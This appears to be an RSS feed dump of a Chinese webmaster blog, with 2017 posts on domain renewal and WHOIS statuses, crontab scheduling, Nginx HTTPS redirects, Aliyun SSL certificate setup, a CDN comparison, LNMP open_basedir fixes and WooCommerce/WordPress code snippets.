3、定期检查。一般,我会每个月月底、或者下个月月初的时候检查当月是否有域名需要续费,如果需要续费则全部续费。如果有特殊活动的,我会稍有准备,比如月底黑色星期五活动,我会把下个月需要续费的域名,然后准备可能通过一些域名注册商转入优惠便宜转入方式续费,如果没有活动那就再去商家续费。

第二、域名续费、赎回、过期时间

我们域名在注册完毕之后,在到期时间之前可以任意的时间续费,最长是可以续费10年。这个不像有些VPS商家,必须在到期之前才有账单出现续约。国内域名和国外域名稍微有一点区别,这里我们分别介绍,这个还是比较关键的,如果进入赎回期需要高额的费用赎回,如果过期删除如果被人抢注那就麻烦。

1、域名在活动期间内(没有到期),是可以任意时间续费的,最长可以续费10年。

2、国际域名。国际域名在到期后72小时内没有续费的,将会被解析到域名商默认页面;到期37天内是可以续费的,还是原价续费;超过37-67天内,进入赎回期(redemptionPeriod),这个时间内我们是可以续费,但需要支付较高的赎回费用,国内商家一般是500元,像去年有一个网友Godaddy赎回好像接近90美金;赎回期后5天将会进入删除期(pendingDelete),这个时候我们只能等待,等待删除后重新注册。

3、国内域名。国内域名同样在到期后72小时内没有续费,将会被自动解析到域名商的停放页面;到期30天内是可以续费的,续费后将会等待生效会切换到我们的DNS解析中;然后在30-48天进入高价赎回期;如果没有赎回即将进入过期删除期,这个时候我们只能自己重新注册。

PS:有些域名估计么有人看的上的,可以在被删除后重新注册,有的也有人盯上的域名,有些人直接会和你抢注。所以,我们尽量的在到期前续费,毕竟赎回期价格太高,过期删除后是不是你的还不一定。

第三、常见域名状态含义解读
dm-status-1

我们在查询域名WHOIS信息的时候会看到域名状态的各种标识,一般用户也不会去看这些。除非可能在抢注域名、域名可能被HOLD或者其他状况的时候会看看。一般会有如下状态,整理算一个文档记录吧。

A – 常见域名状态

1、clientDeleteProhibited :注册商设置禁止删除

2、serverDeleteProhibited :注册局设置禁止删除

3、clientUpdateProhibited :注册商设置禁止更新

4、serverUpdateProhibited:注册局设置禁止更新

5、clientTransferProhibited :注册商设置禁止转移 (我们需要转移之前要解锁)

6、serverTransferProhibited:注册局设置禁止转移 (域名新注册60天不能被转移,会有这个状态)

B – 域名删除、过期状态

1、pendingTransfer:域名转移过程 (域名正在转移注册商过程中)

2、redemptionPeriod:域名赎回期 (进入赎回期,可以联系注册商高价赎回)

3、pendingDelete:待删除/赎回期 (如果是国际域名,表示域名已过赎回期等待被删除;国内域名,域名处于赎回期,可联系注册商高价赎回)

4、pendingVerification :新注册信息审核期(域名注册需要审核的,有些需要提交实名信息)

5、inactive:未激活状态 (域名注册后没有解析,需要设置DNS解析)

6、clientRenewProhibited、serverRenewProhibited:禁止续费(这个很多做外贸的用户会有,或者域名被仲裁,需要联系商家解决)

7、clientHold:暂停解析 (是不是没有被实名认证或者其他问题,联系商家)

8、serverHold:暂停解析 (一般.CN域名没有实名认证后会出现)

总结,我们建站一般会涉及到域名、主机等信息,其中域名是尤为重要的,如果你忘记续费导致域名丢失删除,那其实损失比服务器没有备份数据问题更大,所以我们在管理域名的时候一要有条理规划,同时我们也要选择较好的服务商。经常看到有人注册的域名资料乱写,甚至邮箱也乱写,你这样万一有续费提醒,你也不会收到。

解读域名续费赎回到期时间及域名常见状态含义,首发于蓝月网络

]]>
Linux系统环境crontab定时任务设置参数实例及常用技巧 https://lanyueer.com/linux-crontab/ Sun, 23 Apr 2017 09:53:22 +0000 http://lanyueer.com/?p=862 一般情况下,我们在操作和运维VPS、服务器的时候可能会用到crontab定时任务的配置,比如定时的重启服务器、…

Linux系统环境crontab定时任务设置参数实例及常用技巧,首发于蓝月网络

]]>
一般情况下,我们在操作和运维VPS、服务器的时候可能会用到crontab定时任务的配置,比如定时的重启服务器、定时备份数据等操作使用的还是比较多的。这里就离不开使用crontab命令的任务配置,在这篇文章中,将会整理较为齐全的crontab命令使用的方法以及常用的实例操作。

crontab-1
从上图中,我们其实就可以看到crontab具体用法。一共有6个段落,前面5个标示定时的时间设定,后面一个标示文件的路径定时执行。

第一、crontab安装

一般我们使用的centos或者debian发行版本都自带crontab定时软件支持的,如果系统不支持,我们只需要通过下面对应的安装就可以。

1、centos安装crontab

#安装Crontab
yum install vixie-cron crontabs
#设置开机启动Crontab
chkconfig crond on
#启动Crontab
service crond start

2、debian安装crontab

#安装Crontab
apt-get install cron
#重启Crontab
/etc/init.d/cron restart

确保系统安装且运行生效之后才可以相关的设置。

第二、定时任务案例

1、35 * * * * updatedb

每隔一小时35分钟的时候更新一次数据库。

2、*/5 * * * * /usr/local/bin/diskusage.sh

每隔5分钟运行diskusage.sh文件。

3、25,50 1 15 * 2 /usr/local/bin/diskusage.sh

每周二1:50AM执行文件

4、00 14 10 3,6,9,12 * /usr/local/bin/diskusage.sh

每年3、6、9、12月份第十天下午2点执行。

5、00 21 * * Mon,Wed,Fri /usr/local/bin/diskusage.sh admin@laozuo.org

每周一、三、五下午9点执行脚本

6、*/5 * * * 1-5 /usr/local/bin/diskusage.sh

周一到周五,每五分钟执行。

第三、系统调度

/etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly

如果我们根目录在执行backup.sh备份命令,使用上面脚本可以直接替换到/etc/cron.weekly目录。

第四、定时计划的级别设定

我们在操作的时候,每个用户都可以编辑、查看、删除crontab定时配置文件。如果根用户需要改crontab文件,必须加上’-u’选项来指定用户名。

1、编辑crontab文件的用户root时候,我们可以使用命令:

crontab -u root -e

2、移除root用户的定时设定

crontab -u root -r

3、查看root定时任务设置文件

crontab -u root -l

第五、从文件中加载crontab

我们除了可以手工编辑定时文件之外,还可以文件加载到定时文件中。

cat /root/mycronjobs.txt
53 00 * * 7 /bin/sh /root/server-backup.sh
01 00 * * * /bin/sh /root/check-user-quota.sh

我们需要先上传编辑好的mycronjobs.txt定时任务文件到目录中,然后才可以执行。

crontab /root/mycronjobs.txt

通过这个命令检查验证。

crontab -l
53 00 * * 7 /bin/sh /root/server-backup.sh
01 00 * * * /bin/sh /root/check-user-quota.sh

这里我们可以检查定时文件是否存在。

第六、加入SELinux安全选项

crontab -s /root/mycronjobs/my.txt
SELINUX_ROLE_TYPE=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
53 00 * * 7 /bin/sh /root/server-backup.sh
01 00 * * * /bin/sh /root/check-user-quota.sh

第七、删除定时任务工作

[root@linux ~]# crontab -l
53 00 * * 7 /bin/sh /root/server-backup.sh
01 00 * * * /bin/sh /root/check-user-quota.sh

[root@linux ~]# crontab -r

[root@linux ~]# crontab -l
no crontab for root

我们先用-l查看当前的定时任务,然后用-r删除,然后再检查已经没有任务选项。

总结,以上6个步骤和方法,就是我们常用的crontab定时文件配置常用的,一般我们会用的多的是备份和定时启动等,根据我们实际的需要再进行时间上的调整。

Linux系统环境crontab定时任务设置参数实例及常用技巧,首发于蓝月网络

]]>
Nginx环境强制http 301跳转https设置记录 https://lanyueer.com/nginx-environment-forces-http-301-to-jump-to-https-setup-record/ Sun, 23 Apr 2017 09:47:28 +0000 http://lanyueer.com/?p=861 如今越来越多的网站开始启用SSL证书,这个也是趋势。在年后升级火狐浏览器看到部分有些非HTTPS网站在地址栏中…

Nginx环境强制http 301跳转https设置记录,首发于蓝月网络

]]>
如今越来越多的网站开始启用SSL证书,这个也是趋势。在年后升级火狐浏览器看到部分有些非HTTPS网站在地址栏中也有提示,所以这个也是一个趋势,但也并不是绝对,毕竟普通的网站并非交互性质,也没有必要HTTPS。
如果我们在http切换https之后,势必肯定需要地址的唯一性,需要设置301跳转强制https,这里简单做一个记录技术文档,整理几个Nginx实现强制http跳转https的脚本代码,以后有需要的时候可以直接复制用到。
第一、Nginx配置文件修改地址
/usr/local/nginx/conf/vhost
一般我们常用的一键包或者是自己配置的可能稍微有点差异,我们需要找到当前网站所在的.conf配置文件,记得在修改之前需要备份,以免改错。
第二、常见的几个可用301跳转方法
修改配置文件
第一:

  1. if ($scheme = http ) {
  2. return 301 https://$host$request_uri;
  3. }

第二:

  1. server_name lanyueer.com ;
  2. rewrite ^(.*) https://lanyueer.com$1 permanent

将域名换成自己的域名。
第三:

  1. if ($server_port = 80 ) {
  2. return 301 https://$host$request_uri;
  3. }

这个与第一种差不多。
第四:

  1. server_name lanyueer.com ;
  2. return 301 https://$server_name$request_uri;

只需要将域名换成自己的域名。
最后,我们修改替换之后,需要重启nginx才可以生效。

Nginx环境强制http 301跳转https设置记录,首发于蓝月网络

]]>
阿里云免费Symantec DV SSL证书申请及配置HTTPS方法 https://lanyueer.com/aliyun-symantec-dv-ssl/ Sun, 23 Apr 2017 07:33:30 +0000 http://lanyueer.com/?p=856 第一、阿里云证书申请地址 阿里云证书服务:https://www.aliyun.com/product/cas…

阿里云免费Symantec DV SSL证书申请及配置HTTPS方法,首发于蓝月网络

]]>
第一、阿里云证书申请地址

阿里云证书服务:https://www.aliyun.com/product/cas

在这里我们可以申请免费证书,以及如果有需要其他付费证书也是可以购买的,对于我们普通个人用户而言,能免费则免费吧。

 

第二、阿里云免费Symantec申请

这里根据我们需要以及目的,申请免费Symantec DV SSL证书,我们可以看到免费1年,如果你确定需要使用也是可以的,因为在这篇文章中的目的我们是要申请后再去申请免费的NC证书,具体我们申请后自己如何使用就不管大家了。

这里我们直接购买付款即可,反正是免费的,直接一步步最后即可,这里不排除以后是付费还是变动,这里只能确保当前是免费的。

第三、补全Symantec DV SSL资料激活

1、补全资料

提交完毕之后,我们需要补全资料且验证具体使用到哪个域名中。

补全Symantec DV SSL资料激活

在阿里云后台找到证书列表,然后看到我们当前申请的证书还没有补全资料。

2、填写域名

 

3、完善个人信息

完善个人信息的同时,我们需要选择域名验证方式,这里我用DNS,以及邮箱不要乱写,会用来收取邮件的。

4、生成CSR方式

选择生成CSR的方式,这里我用系统生成的CSR,点击创建后再点击完成。然后我们会收到一封邮件,要求我们提交TXT绑定验证域名所有权的,根据提示绑定即可。

第四、Symantec DV SSL证书配置方法

我们在上面提交验证域名所有权之后,等呀等,一般不需要几分钟就可以收到成功的邮件,我们可以从阿里云证书列表后台下载到证书包。下载证书文件包之后,可以看到.pem和.key两个文件,这个我们需要绑定到网站配置中的。

1、Nginx环境配置

server {
listen 443;
server_name 网站域名;
ssl on;

ssl_certificate 证书文件路径.pem;
ssl_certificate_key 证书文件路径.key;
ssl_session_timeout 5m;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;


}

配置还是比较简单的,我们只要将Nginx配置文件添加一组443端口配置,然后将证书匹配进来,路径不要搞错就可以。最后重启nginx看看是否报错,不报错能重启就表示没有问题。

2、Apache环境配置

A – 在Apache的安装目录下创建cert目录,并且将下载的全部文件拷贝到cert目录中。如果申请证书时是自己创建的CSR文件,请将对应的私钥文件放到cert目录下并且命名为214059953170804.key;

B – 打开 apache 安装目录下 conf 目录中的 httpd.conf 文件,找到以下内容并去掉“#”:

#LoadModule ssl_module modules/mod_ssl.so (如果找不到请确认是否编译过 openssl 插件)
#Include conf/extra/httpd-ssl.conf

C – 打开 apache 安装目录下 conf/extra/httpd-ssl.conf 文件 (也可能是conf.d/ssl.conf,与操作系统及安装方式有关), 在配置文件中查找以下配置语句:

# 添加 SSL 协议支持协议,去掉不安全的协议
SSLProtocol TLSv1 TLSv1.1 TLSv1.2
# 修改加密套件如下
SSLCipherSuite ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4
# 证书公钥配置
SSLCertificateFile cert/public.pem
# 证书私钥配置
SSLCertificateKeyFile cert/214059953170804.key
# 证书链配置,如果该属性开头有 ‘#’字符,请删除掉
SSLCertificateChainFile cert/chain.pem

D – 重启 Apache。

第五、阿里云免费Symantec证书申请总结

1、阿里云有提供免费1年Symantec 证书,如果有需要申请用来项目使用的或者用来需要申请NC免费证书的可以用Symantec申请。

2、Symantec证书的配置还是比较简单,阿里云也有提供对应环境的配置教程,包括nginx、apache、IIS等。

阿里云免费Symantec DV SSL证书申请及配置HTTPS方法,首发于蓝月网络

]]>
腾讯云、百度云、阿里云CDN网络加速服务综合对比 https://lanyueer.com/cdn-network-acceleration-service-comprehensive-comparison/ Sun, 23 Apr 2017 06:40:07 +0000 http://lanyueer.com/?p=839 如今,对于我们用户而言可以选择的国内、国外主机服务商、云主机产品越来越多,成本也越来越低。国内主流的BAT也都…

腾讯云、百度云、阿里云CDN网络加速服务综合对比,首发于蓝月网络

]]>
如今,对于我们用户而言可以选择的国内、国外主机服务商、云主机产品越来越多,成本也越来越低。国内主流的BAT也都有提供相应的云主机产品服务(百度云BCC、腾讯云CVM、阿里云ECS)。在云服务器服务之外,还会提供与之相关联的其他云服务,比如存储、数据库、安全、监控工具等等。

如今各大中型网站都会启用内容分发网络CDN加速服务,通过CDN服务商网络节点,更友好、更快速地展现网站项目和服务,进而提高网站友好度。

在这篇文章,将会针对当前百度云(cloud.baidu.com)、腾讯云(qcloud.com)、阿里云(aliyun.com)三家国内云主机提供商,对比各自CDN服务的优势、特点。进而可以方便我们用户选择需要的服务。

第一、是否免费

对于用户而言,我们更希望商家能够提供免费服务,我们也能够从网上看到一些商家提供的免费CDN服务,大部分商家免费与付费还是有一定的区别的,比如节点、速度、以及其他增值功能区别。当然,对于一般网站来说,开始使用免费服务也是可取的,但是随着项目的升级、收入的增加,我们最终还是需要使用付费服务来保障服务的质量。

1、百度云CDN

百度云CDN

官网网站:https://cloud.baidu.com/product/cdn.html

目前,百度云CDN服务没有提供免费套餐,与之相关的百度云加速(su.baidu.com)是有免费服务方案的,两者应该是不同的品牌运营,百度云CDN是基于云主机产品,侧重提供的内容加速、节点较多,且按照使用流量付费。而百度云加速则提供加速节点较少,且只提供基础安全功能。

2、阿里云CDN

阿里云CDN

官方网站:https://www.aliyun.com/product/cdn

阿里云CDN采用流量包计费模式,对于新用户有100GB免费服务,但是需要抢资格。

根据介绍,每天有一定的名额限制,原本准备抢一个体验的,一直没有申请到,以后如果有机会申请到再分享体验文章。(更新,刚才去阿里云官方看,已经取消免费活动,以后有活动再体验分享)

3、腾讯云CDN

腾讯云CDN

官网网站:https://www.qcloud.com/product/cdn

目前,腾讯云CDN针对新用户推出免费活动,前6个月提供每月50GB流量给用户使用,总共300GB免费流量。而且,腾讯云CDN在开通之后,每月还会额外赠送10GB流量。对于普通个人用户而言还是能够满足需求,在免费体验之后,再决定是否付费继续使用。

第二、节点分布

内容分发CDN的特点就在于节点的数量多,能够实现项目用户访问速度加快。一般免费CDN的节点都比较少,而且稳定性不好,我们看看BAT三家CDN节点的分布情况。

1、百度云CDN

百度云CDN

百度自建节点覆盖全国30多个省市;10线+运营商网络接入,Tb级别带宽承载,覆盖所有运营商;单节点带宽不低于40Gbps,业务平均98%+流量命中率;毫秒级别响应时间;中心节点收敛回源;分片回源机制有效降低回源流量。

且从介绍看百度云CDN还没有海外节点。

2、阿里云CDN

阿里云CDN

阿里云节点覆盖30多个国家,500+ 全球节点,20T带宽能力,国内主流运营商全支持。

3、腾讯云CDN

腾讯云CDN

腾讯云CDN节点在覆盖30多个国家和地区,共有530+加速节点,国内节点覆盖移动、联通、电信等所有主流运营商及十几家中小型运营商,总40T+资源储备。

第三、优势与功能

基于我们用户较为关心的价格、节点分布分别做了以上的对比,这里再简单罗列BAT三家CDN服务的功能上的特点和优势。

1、百度云CDN

a. 百度自研高性能网络设备接入,单机承载网络带宽可达到40Gbps,具有强大的抗攻击能力。

b. 支持缓存策略、缓存key计算、回源、视频、防盗链、HTTPS等相关的配置。

c. 7*24小时全网监控与工单响应

d. 丰富的数据分析,提供带宽流量、请求次数、访客分析、运营商分布分析等等业务全景数据报表。

e. 日志免费存储、同时支持日志自动转储至客户的BOS空间,方便客户进行管理与数据分析工作。

2、阿里云CDN

a. HTTPS安全加速服务。防劫持、防篡改、防泄密,享受企业级可靠HTTPS加速服务。

b.提供多重访盗链功能,referrer防盗链、UA头防盗链、IP防盗链、URL鉴权校验。其他商家也都有提供这类功能。

C、各节点具备高速读写固态硬盘 SSD 存储,配合 SSD 加速能力,大幅减少用户访问等待时间,提高可用性。均衡使用 CPU 多核处理能力,高效合理使用和控制内存,最大化 SSD IOPS 和吞吐。

d. 去除页面冗余内容如 html页面、内嵌 JavaScript 和 css 中的注释以及重复的空白符,对静态文件类型进行压缩,有效减少用户传输内容大小。

e. 全景数据统计,丰富角度分析,客户画像描述助力业务拓展。支持定制化日志服务,自定义永久存储,便捷下载分析。

3、腾讯云CDN

a.节点比较多,国内500+节点,覆盖移动、联通、电信等运营商;海外50+加速节点,覆盖30+国家地区。但是可能会因为源站的地域机房限制,少部分国内、海外节点延迟比较高。

b. 利用遍布全国的监测点,定频访问监测文件,对全国各地域、运营商的CDN访问状态进行监控、分析。自研GSLB调度体系,结合全网实时监控数据,将用户请求精准调度至最优接入节点。

c. 支持全网HTTPS加密传输,保障数据安全,避免遭受内容劫持。腾讯云提供免费1年免费SSL证书,或购买赛门铁克、GeoTrust付费证书。申请/购买完成后,支持一键部署至CDN,实现HTTPS访问。

d. 支持配置 referrer 防盗链,通过 HTTP 请求中 referrer 字段实施访问控制,有效防盗刷。支持配置 IP 黑白名单,通过对访问源IP进行过滤,有效抵御恶意用户。支持配置单IP单节点QPS限制,有效抵御CC攻击。

e.提供热备源功能,可以有效的设置主站意外自动回源备用服务器。可随意多级缓存路线可选,您可以根据实际需要开启中间源,收敛回源,有效降低回源带宽,减轻源站压力。

f.简单易用,直接添加CNAME即可接入使用。实时反馈业务访问情况、消耗明细、热门资源分析,支持十几项自助功能配置,提供全方位API接口,多样化管理。

g.强大的监控、统计分析。实时查看在CDN上产生的流量、带宽、请求数、命中率数据,支持省份、运营商分布分析,支持热点资源TOP100排名查询。

第四、速度大比拼

我们项目使用内容分发CDN主要目的是让项目提高用户访问速度,正如我们上面看到各家在国内、国外部署大量节点的原因。因为目前阿里云CDN和腾讯云CDN都有提供免费CDN资源,所以根据提供到的免费资源搭建真实的生产环境,然后通过17ce工具(17ce.com)进行在线测试两家CDN在移动、联通、电信、海外 4个节点CDN速度情况。

1、阿里云CDN速度测试

a.国内电信

实例报告:http://www.17ce.com/site/cdn/201703_8b91618609317fbb75152cd52cf80912.html

阿里云CDN速度测试

b.国内联通

实例报告:http://www.17ce.com/site/cdn/201703_8dad17e506423a52ae9cac87be4e23ed.html

国内联通

c.国内移动

实例报告:http://www.17ce.com/site/cdn/201703_5835f8b6bc6b813daa969b9dea2f111d.html

d.国外测速点

实例报告:http://www.17ce.com/site/cdn/201703_b2e09ac0703211c5e6476d1182faea2f.html

国外测速点

2、腾讯云CDN速度测试

a.国内电信

实例报告:http://www.17ce.com/site/cdn/201703_9c5483f297c7fb7f176bca5b24653cbc.html

腾讯云CDN速度测试

b.国内联通

实例报告:
http://www.17ce.com/site/cdn/201703_5ddbafe3670657939993068b3f811e45.html

国内联通

c.国内移动

实例报告:http://www.17ce.com/site/cdn/201703_86272fe04f21702d2ad9c48ec3b48708.html

国内移动

d.国外节点

实例报告:http://www.17ce.com/site/cdn/201703_1c504f602f940f7e238070df43f1fe16.html

国外节点

以上对阿里云CDN和腾讯云CDN部署实例后,利用17CE在线工具进行的简单国内电信、移动、联通、以及海外节点的测速数据。以上数据仅仅是当前工具节点的速度体现,实际上会因为具体项目、DNS解析,实际用户真实节点等因素会有所差异。

第五、BAT三家CDN服务小结

由于各自业务重心不同,起步稍有早晚区别,但是可以看到这两年各家在云主机业务上也在陆续增设部署。

1、从官方界面看,腾讯云官网界面给个人的感觉比较好看,以前觉得阿里还不错的,但是由于产品增多,无论是前台和后台的产品菜单布局显得有点乱,有些时候找个菜单不知道在哪里。

2、从免费流量看,腾讯云CDN无疑是新用户最佳选择商家,新用户前6个月每月提供50GB流量,而且自开通之日起每月可以额外赠送10GB。也就是说,如果以后项目流量不超过10GB/月,那就可以一直免费使用。

腾讯云、百度云、阿里云CDN网络加速服务综合对比,首发于蓝月网络

]]>
解决LNMP开启open_basedir出现”No input file specified”问题 https://lanyueer.com/no-input-file-specified/ Sun, 23 Apr 2017 06:34:51 +0000 http://lanyueer.com/?p=837 今天有在帮助一个网友安装PixelK跟踪软件的时候,他的服务器WEB系统使用的是军哥LNMP V1.3版本,因…

解决LNMP开启open_basedir出现”No input file specified”问题,首发于蓝月网络

]]>
今天有在帮助一个网友安装PixelK跟踪软件的时候,他的服务器WEB系统使用的是军哥LNMP V1.3版本,因为这个软件比较特别,需要开启open_basedir然后授权某个目录。原本以为安装正常的就直接到”/usr/local/php/etc/php.ini”文件中开启即可。
但是,在开启后重启PHP发现登录网站会看到报错”No input file specified”。看来改这里是不行的,然后看到LNMP一键包每个网站都用的单独的.user.ini管理的,所以不能在全局修改open_basedir,只能在.user.ini中修改open_basedir文件。
第一、编辑权限

  1. chattr -i /网站目录/.user.ini

先要编辑权限,然后才可以进行vi修改文件。
第二、重新授权

  1. chattr +i /网站目录/.user.ini

重新授权之后,然后再重启PHP(/etc/init.d/php-fpm restart),这样就可以解决上面的报错问题,也同时开启open_basedir授权目录。

解决LNMP开启open_basedir出现”No input file specified”问题,首发于蓝月网络

]]>
WooCommerce 在购物车中显示商品的总重量 https://lanyueer.com/woocommerce-display-total-weight-on-cart-and-checkout/ Sun, 16 Apr 2017 12:56:40 +0000 http://lanyueer.com/?p=836 WooCommerce 每个商品都会有一个重量参数,在有些WooCommerce电子商务站点上,购物的运费是要…

WooCommerce 在购物车中显示商品的总重量,首发于蓝月网络

]]>
WooCommerce 每个商品都会有一个重量参数,在有些WooCommerce电子商务站点上,购物的运费是要根据重量计算的,这种情况下,在购物车中显示一个添加到购物车中所有商品的总重量是非常重要的。WooCommerce的订单是有一个总重量字段的,只不过在默认情况下没显示出来。我们只需要把这个参数调出来就可以了。

  1. add_action('woocommerce_cart_collaterals', 'myprefix_cart_extra_info');
  2.  
  3. function myprefix_cart_extra_info() {
  4.     global $woocommerce;
  5.     echo '<div class="cart-extra-info">';
  6.     echo '<p class="total-weight">' . __('Total Weight:', 'woocommerce');
  7.     echo ' ' . $woocommerce->cart->cart_contents_weight . ' ' . get_option('woocommerce_weight_unit');
  8.     echo '</p>';
  9.     echo '</div>';
  10. }
  11.  
  12. add_action( 'woocommerce_review_order_before_shipping', 'pft_checkout_weight_info' );
  13. function pft_checkout_weight_info() {
  14.     global $woocommerce;
  15.     echo '<tr>';
  16.     echo '<th>Total Weight</th>';
  17.     echo '<td>' . $woocommerce->cart->cart_contents_weight . ' ' . get_option('woocommerce_weight_unit') . '</td>';
  18.     echo '</tr>';
  19. }

WooCommerce 在购物车中显示商品的总重量,首发于蓝月网络

]]>
使用 WordPress 企业主题开发企业网站经验总结 https://lanyueer.com/wordpress-enterprice-theme-develop/ Sun, 16 Apr 2017 12:42:02 +0000 http://lanyueer.com/?p=835 不管是国产的CMS织梦,PHPCMS,还是历史比较悠久的Dupal,Joomla,还是国际上最流行的WordP…

使用 WordPress 企业主题开发企业网站经验总结,首发于蓝月网络

]]>
不管是国产的CMS织梦,PHPCMS,还是历史比较悠久的Dupal,Joomla,还是国际上最流行的WordPress,开发企业网站都能达到一样的效果。WordPress开发企业网站说白了就是开发一个WordPress企业主题。而企业主题和其他WordPress主题不一样的地方主要就是页面布局、页面结构和所管理的内容类型。

WordPress 企业主题常见内容模块

首先,企业主题一定有一个导航菜单。导航里面一般会包括首页,关于我们,新闻动态,产品或服务,案例展示、人才招聘,联系方式,在线留言等模块。

  • 而首页一般会有一个幻灯banner,用几张冲击力比较强的图片来显示企业的口号或主打产品,下面是一个新闻列表,主要产品列表,企业简介,联系方式等。也就是说,首页一般会把导航上的栏目,浓缩一下,挑这些栏目中最重要的部分在首页展示。
  • 而新闻列表页面一般是标题列表,或者图片配新闻标题和两三行新闻摘要。
  • 案例展示一般是一些案例的图片列表,展现方式和下面的产品列表通常比较类似。
  • 产品列表一般会是一个产品图片加产品名称的列表页面。如果涉及在线销售,还会有一个产品价格及相关功能。
  • 人才招聘类似新闻或产品列表页面,是一个列表,显示一些招聘信息。
  • 至于关于我们、联系方式、在线留言栏目,一般都是单页面。

WordPress 企业主题开发思路

使用文章类型管理不同类型的数据

和博客主题不同,WordPress 企业主题里面的内容类型可能比较丰富,有新闻、有产品、有些还会有案例展示。而每种类型的内容的数据经常会不相同。这时候用 WordPress 的自定义文章类型新建一个文章类型来管理每种类型的数据最方便不过了。

使用自定义分类方法添加不同类型数据的特殊内容

除了标准的标题、正文、分类目录、标签特色图像之外,每种类型的内容可能还会有一些附加的数据,比如:

  • 产品会有产地、品牌、价格、尺寸等数据
  • 案例会有客户名称、案例图片、完成日期等数据
  • 人才招聘信息会有学历要求、工作经验、岗位职责等数据

如果这些数据只需要在内容的正文中出现,最直接的方法是添加到正文里面。但是有时候我们需要给这些内容添加一些特殊的样式,这时候直接添加到内容里面就不方便管理了,我们可以用自定义字段插件如:Metabox、Piklist|、Advanced Custom Fields 等插件来添加这些自定义数据的数据单元。在前台显示的时候直接使用 WordPress 标准的get_post_meta 函数获取显示即可。

开发企业主题时的常用插件

  • 对于列表页来说,一般都会有一个分页系统,需要用到wp-pagenavi数字分页插件。
  • 如果需要显示浏览量,需要用到 wp-pageviews 插件。
  • 上面提到过的自定义字段插件:Metabox、Piklist、Advanced Custom Field。
  • 因为WordPress的性能问题,我们需要添加一个缓存插件,推荐使用wp-rocket缓存插件。
  • SEO是网站运行中必不可少的工作,WordPress中最好的SEO插件恐怕要数 yoast SEO插件了。

以上介绍的插件、同一类型的插件使用一个即可、同类插件千万不要同事使用两个或两个以上,万一出现冲突、造成数据丢失,损失就大了。

企业主题开发好之后,我们一般需要帮助企业培训一两名网站管理人员,因为 WordPress 后台的操作管理都非常简单,所以后台的培训工作非常简单,通常演示一两遍即可掌握得差不多了。

使用 WordPress 企业主题开发企业网站经验总结,首发于蓝月网络

]]>
在WordPress主题之外使用WordPress查询 https://lanyueer.com/use-wordpress-queries-outside-of-the-wordpress-theme/ Sun, 16 Apr 2017 12:37:22 +0000 http://lanyueer.com/?p=834 在使用WordPress做WEB应用开发的时候,我们经常需要在WordPress主题或插件外边使用WordPr…

在WordPress主题之外使用WordPress查询,首发于蓝月网络

]]>
在使用WordPress做WEB应用开发的时候,我们经常需要在WordPress主题或插件外边使用WordPress的功能,其中最常用的就是WordPress查询,如果直接使用,肯定会提示找不到函数,因为这些功能函数没有引入进来,我们只需要引入一下WordPress的这些核心功能就可以了。

想引入WordPress的核心功能,只需要包含以下wp-blog-header.php这个文件就可以了。

  1. // 包含WordPress主题的主要文件
  2. define('WP_USE_THEMES', false);
  3. require('/server/path/to/your/wordpress/site/htdocs/blog/wp-blog-header.php');

上面的路径是文件在主机的绝对路径,路径一定要写对了才行。

然后,我们就可以在我们的程序使用自定义查询获取WordPress数据了。

  1. <?php while (have_posts()): the_post(); ?>
  2.     <h2><?php the_title(); ?></h2>
  3.     <?php the_excerpt(); ?>
  4.     <p><a href="<?php the_permalink(); ?>" class="red">Read more...</a></p>
  5. <?php endwhile; ?>

在WordPress主题之外使用WordPress查询,首发于蓝月网络

]]>
怎么让你开发的主题兼容 WooCommerce-在主题中声明 WooCommerce 支持 https://lanyueer.com/declare-woocommerce-support/ Sun, 16 Apr 2017 12:28:59 +0000 http://lanyueer.com/?p=833 大多数情况下,WooCommerce 可以很好的集成到大多数 WordPress 主题中。在有些定制开发的主题…

怎么让你开发的主题兼容 WooCommerce-在主题中声明 WooCommerce 支持,首发于蓝月网络

]]>
大多数情况下,WooCommerce 可以很好的集成到大多数 WordPress 主题中。在有些定制开发的主题中,主题的样式可能会和 WooCommerce 的样式有一些冲突或不匹配的情况,这种情况下,WooCommerce 的商店页面、商品分类页面、商品页面的布局可能会出现错乱或显示不正常。我们就需要针对我们的主题做一些改造,使我们的主题很好的支持 WooCommerce。我们可以使用两个方法解决这个问题:

使用 hooks (针对高级用户和开发者)
在主题中使用 WooCommerce 的内容输出函数 woocommerce_content() 调用 WooCommerce 内容

方法一:使用 woocommerce_content() 函数

此方案可以让我们在主题中创建一个新模板中,这个模板负责所有 WooCommerce 分类法存档和商品显示,此方案使用所有默认的 WooCommerce 模板,并且没有办法修改默认的 WooCommerce 模板,对 WooCommerce 不熟悉的开发者或者不需要对 WooCommerce 进行深度定制的情况下,建议使用这种方法。这种方案实现起来非常简单,按照下面的方法操作就可以了。

第一步,复制 page.php 页面模板为 woocommerce.php 模板

复制主题的 page.php,重命名为 woocommerce.php,此文件的位置应该是在:wp-content/themes/你的主题/woocommerce.php.

第二步,编辑 woocommerce.php,替换 WordPress 循环为 WooCommerce 循环

使用你最喜欢的编辑器,打开 woocommerce.php,找到页面的文章循环代码,一般是以下面的代码开始:

  1. <?php if ( have_posts() ) :

以下面代码结束:

  1. <?php endif; ?>

删除以上两段代码中间的内容,粘贴下面的代码到上面的两段代码之间即可。

  1. <?php woocommerce_content(); ?>

完成以上操作后,我们使用了 WooCommerce 的循环代码,代替了 WordPress 默认的文章循环代码。

注意:使用 woocommerce.php 文件的时候,我们将不能在主题中覆盖 WooCommerce 的默认模板文件。

方法二:使用 hooks

hook 的方法比使用 woocommerce_content 的方法更复杂,同事也更灵活,这个方式和使用 hook 创建主题的方法类似,也是 WooCommerce 兼容 Twenty Ten 和 Eleven 的方法。在主题的 functions.php 文件中插入以下代码。

首先卸载 WooCommerce 默认封装 HTML 标记:

  1. remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10);
  2. remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10);

然后挂载我们自己主题的 HTML 标记:

  1. add_action('woocommerce_before_main_content', 'my_theme_wrapper_start', 10);
